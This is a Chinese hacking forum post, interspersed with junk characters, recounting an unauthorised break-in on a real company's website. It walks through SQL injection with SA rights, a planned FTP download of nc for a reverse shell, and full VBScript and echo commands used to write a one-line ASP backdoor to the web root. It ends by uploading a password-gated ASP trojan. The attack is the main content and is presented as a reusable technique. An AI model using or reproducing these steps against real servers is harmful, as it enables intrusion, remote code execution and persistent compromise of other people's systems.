|
作者:haicao [E.S.T]$ i' C# L( _# O7 B
@) A+ K- }* S# D
今天在网上看到一个动画，动画里说那些大公司的安全做的怎么怎么差，所以我便决定找个看看，在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号
! O# o& y/ S+ m$ O* U. j/ S( \: D6 zhttp://www.xxx.com.cn/gushi.asp?pid=8&cid=111' ! e" ]) P0 k0 R6 U" x+ |
晕，返回错误：5 a9 e5 Y3 S: L! S5 \
Microsoft VBScript 编译器错误 错误 '800a03f6' 8 q7 l3 a9 X! Y
7 x6 n7 w9 C8 g4 j/ B$ \7 n. T
缺少 'End'
" M& G- ?& [% e5 l6 m. k; g$ F4 O/ v# {8 L/ C- K# s
/iisHelp/common/500-100.asp，行242
. N' i2 A4 p) ?4 a
8 Q) q4 A4 L g& Z4 t. C/ _Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 3 k" L6 P6 W5 j3 ^2 U2 d1 ?
, S5 ~% f; O5 ?8 W# {[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。 * o+ S: {6 g9 u
6 i/ I( [" h2 m+ s' h$ M
/inc/artid.inc，行8 # v6 v+ O3 i9 K1 r1 ^
返回的信息说明是SQL Server3 Q( p4 ~! h n
ping www.xxx.com.cn后返回IP：61.XX.XX.68通过IP可以直接访问这个网站，说明是独立的服务器。
0 m; {* c0 q, F& |* M* l9 a* ?我一下来了兴致看来是家有钱的大公司，用NBSI检测了下这个连接,竟然是SA权限的！3 q) r5 y/ p% ?6 d: i/ I
1 f$ }- ]: l2 b+ G; S ( r1 Z; w {5 d' l! X- W
我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务，看来是装了_blank">防火墙，意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。
z* O: m) Q4 }" t& E3 x6 e7 y+ ~首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了，但在用ECHO写文件时又出了问题了，我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。$ C( t9 o/ P3 {1 G7 X
* U* O" l4 \: v$ w: E ; i# M3 r7 {9 a
 2 G' P! ]- w* S
(特别提示：用NBSI执行命令的时侯最好不要勾选尝试返回结果，因为执行命令会很慢很慢，而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录)" Q6 ^2 `) M! q' F" } T& X
# [- J3 j, N' J5 d8 w$ M如果能把那个一句话的后门(服务端:)写到WEB目录就好办了，但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件，但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:+ }- y0 w) n6 O: O
* M1 O" b- q# s7 i& B$ i" [ <execute request("l")>
/ f; j' K$ h9 h) s7 w7 e* ~% H<execute request("l")> & H3 [+ J4 {( g
<execute request("l")>
5 \* C. r2 l* Z+ X<execute request("l")> 5 Z: y) Y" v2 y8 k1 y
8 P; Z( Y1 c+ {
( ?& W( i% C5 _2 _6 Z这样的话，就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。: M7 f" [' M9 P: d3 {& S
写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为：
) a8 Z: p4 B; h3 T& d% oon error resume next:x=1:
; Y5 p* o6 F1 n1 b5 d6 gstr=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车
& Q, ?! u+ P3 ~/ E! r/ N' jstr=replace(str,"**",""""): ‘将**替换为符号"& y1 p k. V6 { O& B
str=replace(str,"--",chr(38)): ‘将--替换为符号 &
1 H, E& `; [, c0 nstr=replace(str,"@@",chr(37)): '将@@替换符号%
k# @% s+ Z; ISet fso = CreateObject("Scripting.FileSystemObject"):
4 T2 X" i9 Q& e; U6 s, w2 tSet a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
9 b( @ P1 S6 xif x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if: ]- E3 W/ v# X6 O g8 {! y! ^
这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs，然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)+ J g* y1 D) |/ E& H' n: \# c
简单解释一下：第一条语句是最重要的，容错语句不管后面的程序出了什么错都继续执行。其次是IF语句，为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件，写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:，其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:9 |8 A- C/ K4 @
str=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):
7 s3 L& ?: r* C若写成str=replace(Wscript.Arguments(0),"==",vbcrlf)$ b- W' z! A$ y8 |: I1 V
则一行显示多条相同语句时变成+ c2 ^2 P9 d" s( t
str=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf)
* y5 X; P [ L这样程序便不能正常执行了。6 x8 n' W$ p5 Q
",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车，用**代替了双引号,用--代替了&，用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件)：0 e$ N' m# R& T6 H
on error resume next
; K' Y' O$ |) p: y$ R+ bif Wscript.Arguments.count<>2 then
6 V5 }2 a( W, \% G2 p/ {+ L* X* o wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"
. C6 z$ d0 W+ P' B5 Y wscript.quit3 A9 c+ R4 J* R7 y
end if& Y2 A ?& r$ d- _7 @2 ~( C, \
Set fso=CreateObject("Scripting.FileSystemObject")
' `. q( ~" l4 ^, Y3 A: P7 M, wSet a=fso.openTextFile(Wscript.Arguments(0))
, B# j: H7 J$ lstr=a.readall
' d% |. t& B/ ostr=replace(str,"""","**") '把双引号替换成**
% i8 i# v- Z# W& B0 pstr=replace(str,vbcrlf,"==") '把回车替换成==7 I$ z" @0 A; p( R+ Q" `* @+ A- @
str=replace(str,"&","--") '把&号替换成--& i( z9 X+ k) {
str=replace(str,"%","@@") '把%替换成@@3 T, E5 | v( E) V
wscript.echo str
* C A0 y) E: HSet a=fso.CreateTextFile(Wscript.Arguments(1), True)" J2 D" w/ n1 Q! C9 V: |- Y. Z
a.Write(str)
* e8 _- m# b2 x* Q/ B) M7 W t ]0 i3 a
在本地执行cscript trans.vbs one.txt onetrans.txt
3 n) n: e% h8 { k C其中one.txt为我们的一句话后门内容为：
) |, |2 i1 B9 o- f! a- w转换后内容存在onetrans.txt中内容变成转换后的：<@@execute request(**l**)@@>保存在文件onetrans.txt中。2 W4 N! V* X+ D. v2 X M
writefile.vbs的ECHO代码为：) E2 N1 @/ X E) F. X+ P
echo on error resume next:x=1:>>writefile.vbe! o$ n) g+ b, ~# u6 f0 x1 h
echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe
1 A# _8 }! R. m( q- W# Techo str=replace(str,"**",""""):>>writefile.vbe
3 |3 X9 K8 ~5 n$ B' becho str=replace(str,"--",chr(38)):>>writefile.vbe
6 l6 g1 ^0 ]+ n+ S8 I- t2 m/ X6 Recho str=replace(str,"@@",chr(37)):>>writefile.vbe 0 f* y* h& }3 _) v& y0 C6 m F
echo Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe
% W5 l) b( b/ d6 K- u. Fecho Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe
7 G" V' T; d2 d2 yecho if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe: Y' E9 b! s s
: m$ d0 f% a" x把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了！命令为：
b3 ?; p9 f% ^5 |& ucscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来！)6 {! ~9 D; k# t% F
相应的地址为：http://www.xxx.com.cn/app/1.asp1 n+ z+ _' L" f+ ?' Q8 ?# z
把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了！如图：
% {! m0 F3 n* [) q$ Y. c, p0 V- B: U+ l- q/ g5 [9 H( c" i
: {# Y& ]. L% Y! [7 U8 k执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了！
( K% P; K( D6 p# c8 N P& R& r& H( e$ x! @4 V: Y3 Q4 x
我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图：
$ w9 O' K9 g' T! `: ]. W
% v# V; e/ \2 O+ b 我把这个木马加了验证所以必须得通过这个url才能顺利访问:& @2 ?1 m# I6 ]9 k5 O
http://www.xxx.com.cn/app/advv.asp?id=haicao （当未加参数id=haicao时显示空页面） |
IP卡
狗仔卡
发表于 2005-3-20 13:51
转播
淘帖
分享
收藏
支持
反对
微信
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
显身卡
